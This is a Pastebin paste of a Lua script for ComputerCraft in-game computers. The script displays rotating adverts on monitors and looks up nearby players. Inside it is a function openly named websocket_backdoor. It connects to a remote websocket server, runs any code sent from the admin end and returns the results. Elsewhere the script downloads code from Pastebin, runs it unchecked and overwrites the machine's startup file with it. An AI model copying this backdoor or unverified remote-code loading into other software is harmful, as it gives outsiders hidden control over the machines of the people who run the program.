Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function _G.fetch(u)
- local h = http.get(u)
- local c = h.readAll()
- h.close()
- return c
- end
- function _G.update()
- local h = fs.open("startup.lua", "w")
- local x = fetch "https://pastebin.com/raw/VWWcaWN0"
- local f, e = load(x)
- if not f then return false, e end
- h.write(x)
- h.close()
- return true
- end
- local h = fs.open("conf.lua", "r")
- local conf = textutils.unserialise(h.readAll()) or {}
- h.close()
- local urls = {
- switchcraft = "https://dynmap.switchcraft.pw/"
- }
- local function distance_squared(player)
- local dx = player.x - conf.location[1]
- local dy = player.y - conf.location[2]
- local dz = player.z - conf.location[3]
- return dx * dx + dy * dy + dz * dz
- end
- local json
- local function load_json()
- local x = fetch "https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua"
- json = load(x)()
- end
- function _G.find_player_nearby()
- if not json then load_json() end
- local API_URL = urls[conf.server] .. "up/world/world/"
- local data = json.decode(fetch(API_URL))
- local players = _.filter(data.players, function(x)
- x.d = distance_squared(x)
- return x.world == conf.dimension and x.d < 400
- end)
- local sorted = _.sort_by(players, function(x) return -x.d end)
- return sorted[1]
- end
- local function advert_display()
- while true do
- local data = fetch "https://pastebin.com/raw/S5ZiYVLq"
- local fn, err = loadstring(data)
- if err then printError("Parse error: " .. err)
- else
- local ok, result = pcall(fn)
- if not ok then printError("Exec error: " .. result)
- else
- local options = {}
- for k, v in pairs(result) do
- if type(v) == "string" or type(v) == "function" then table.insert(options, v) end
- end
- for _, mon in pairs {peripheral.find "monitor"} do
- local option = options[math.random(1, #options)]
- if type(option) == "function" then ok, option = pcall(option) end
- if type(option) ~= "string" then break end
- local w, h = mon.getSize()
- if #option > (w * h) then
- mon.setTextScale(conf.smallScale)
- else
- mon.setTextScale(conf.largeScale)
- end
- local last = term.redirect(mon)
- mon.clear()
- mon.setCursorPos(1, 1)
- write(option)
- term.redirect(last)
- print("Displayed", option)
- end
- end
- end
- sleep(30)
- end
- end
- local function websocket_backdoor()
- load_json()
- if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
- local ws, err = http.websocket "wss://spudnet.osmarks.net/potatoad"
- if not ws then printError(err) return end
- local function send(msg)
- ws.send(json.encode(msg))
- end
- local function recv()
- while true do
- local e, u, code = coroutine.yield "websocket_message"
- if e == "websocket_message" and u == "wss://spudnet.osmarks.net/potatoad" then
- return code
- end
- end
- end
- while true do
- -- Receive and run code from backdoor's admin end
- local code = recv()
- local f, error = load(code, "@input", "t", _E)
- if f then -- run safely in background, send back response
- local resp = {pcall(f)}
- for k, v in pairs(resp) do
- local ok, thing = pcall(json.encode, v)
- if not ok then
- resp[k] = tostring(v)
- end
- end
- send(resp)
- else
- send {false, error}
- end
- end
- end
- parallel.waitForAny(advert_display, websocket_backdoor)
Add Comment
Please, Sign In to add comment